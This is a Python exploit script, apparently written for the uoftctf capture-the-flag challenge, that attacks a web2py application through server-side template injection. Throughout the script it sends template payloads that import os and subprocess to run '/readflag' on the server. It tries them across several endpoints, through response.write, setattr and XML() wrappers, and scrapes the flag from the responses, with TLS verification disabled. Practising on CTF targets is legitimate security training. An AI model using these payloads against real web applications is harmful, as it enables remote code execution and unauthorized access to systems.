#!/usr/bin/env python3
"""
Web2py SSTI - Finding where output is rendered
"""

import requests
import urllib3
import re
import html

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

def find_injection_points():
    """Find where in the page our input gets rendered"""
    print("="*60)
    print("Finding Injection Points")
    print("="*60)
    
    marker = "UNIQUE_MARKER_12345"
    payload = f"{{{{='{marker}'}}}}"
    
    response = requests.get(
        BASE_URL + "/welcome/default/index",
        params={"test": payload},
        verify=False,
        timeout=10
    )
    
    # Find all occurrences
    positions = []
    start = 0
    while True:
        idx = response.text.find(marker, start)
        if idx == -1:
            break
        # Get context
        context_start = max(0, idx - 150)
        context_end = min(len(response.text), idx + 150)
        context = response.text[context_start:context_end]
        
        print(f"\n[{len(positions) + 1}] Found at position {idx}:")
        print(f"Context: ...{context}...")
        print()
        
        positions.append(idx)
        start = idx + 1
    
    print(f"\nTotal occurrences: {len(positions)}")
    return positions

def try_different_endpoints():
    """Try different web2py endpoints"""
    print("\n" + "="*60)
    print("Testing Different Endpoints")
    print("="*60)
    
    endpoints = [
        "/welcome/default/index",
        "/welcome/default/user/profile",
        "/welcome/default/download",
        "/welcome/default/call",
        "/welcome/default/data",
        "/welcome/",
        "/welcome/default/",
    ]
    
    payload = "{{=__import__('os').popen('/readflag').read()}}"
    
    for endpoint in endpoints:
        try:
            print(f"\n[>] Testing: {endpoint}")
            response = requests.get(
                BASE_URL + endpoint,
                params={"test": payload, "name": payload, "q": payload},
                verify=False,
                timeout=10
            )
            print(f"    Status: {response.status_code}")
            
            # Check for flag
            if "uoftctf{" in response.text:
                print("[!!!] FLAG FOUND!")
                flags = re.findall(r'uoftctf\{[^}]+\}', response.text)
                for flag in flags:
                    print(f"\nFLAG: {flag}\n")
                return True
            
            # Check response size differences
            response_no_payload = requests.get(
                BASE_URL + endpoint,
                verify=False,
                timeout=10
            )
            
            size_diff = len(response.text) - len(response_no_payload.text)
            if abs(size_diff) > 10:
                print(f"    Size difference: {size_diff} bytes (might contain output)")
                
        except Exception as e:
            print(f"    Error: {e}")
    
    return False

def try_response_write():
    """Try to write directly to response object"""
    print("\n" + "="*60)
    print("Testing Direct Response Write")
    print("="*60)
    
    payloads = [
        # Try writing to response body
        "{{response.write(__import__('subprocess').check_output(['/readflag']).decode())}}",
        
        # Try modifying response
        "{{setattr(response, 'body', __import__('subprocess').check_output(['/readflag']).decode())}}",
        
        # Try returning it as a  dict value
        "test={{=__import__('subprocess').check_output(['/readflag']).decode()}}",
    ]
    
    for payload in payloads:
        print(f"\n[>] Payload: {payload}")
        response = requests.get(
            BASE_URL + "/welcome/default/index",
            params={"test": payload},
            verify=False,
            timeout=10
        )
        
        if "uoftctf{" in response.text:
            print("[!!!] FLAG FOUND!")
            flags = re.findall(r'uoftctf\{[^}]+\}', response.text)
            for flag in flags:
                print(f"\n{'='*60}")
                print(f"FLAG: {flag}")
                print(f"{'='*60}\n")
            return True

def analyze_html_structure():
    """Analyze where template output appears in HTML"""
    print("\n" + "="*60)
    print("Analyzing HTML Structure")
    print("="*60)
    
    # Send a payload that should generate visible output
    payload = "{{='<h1>VISIBLE_OUTPUT_TEST</h1>'}}"
    
    response = requests.get(
        BASE_URL + "/welcome/default/index",
        params={"test": payload},
        verify=False,
        timeout=10
    )
    
    # Check if the HTML was rendered
    if "VISIBLE_OUTPUT_TEST" in response.text:
        print("[*] Found output in response")
        idx = response.text.find("VISIBLE_OUTPUT_TEST")
        print(f"Context: ...{response.text[idx-200:idx+200]}...")
        
        # Check if it's rendered as HTML or escaped
        if "<h1>VISIBLE_OUTPUT_TEST</h1>" in response.text:
            print("[*] Output is rendered as raw HTML")
        elif "&lt;h1&gt;" in response.text:
            print("[*] Output is HTML-escaped")
    
    # Try with XML() to prevent escaping
    payload2 = "{{=XML(__import__('subprocess').check_output(['/readflag']).decode())}}"
    print(f"\n[>] Trying with XML() wrapper...")
    
    response2 = requests.get(
        BASE_URL + "/welcome/default/index",
        params={"test": payload2},
        verify=False,
        timeout=10
    )
    
    if "uoftctf{" in response2.text:
        print("[!!!] FLAG FOUND with XML()!")
        flags = re.findall(r'uoftctf\{[^}]+\}', response2.text)
        for flag in flags:
            print(f"\n{'='*60}")
            print(f"FLAG: {flag}")
            print(f"{'='*60}\n")
        return True

if __name__ == "__main__":
    # Find where our injection appears
    find_injection_points()
    
    # Try different endpoints
    if try_different_endpoints():
        exit(0)
    
    # Try response manipulation
    if try_response_write():
        exit(0)
    
    # Analyze HTML structure
    if analyze_html_structure():
        exit(0)
    
    print("\n[*] Flag not found yet. May need to try different injection points or techniques.")
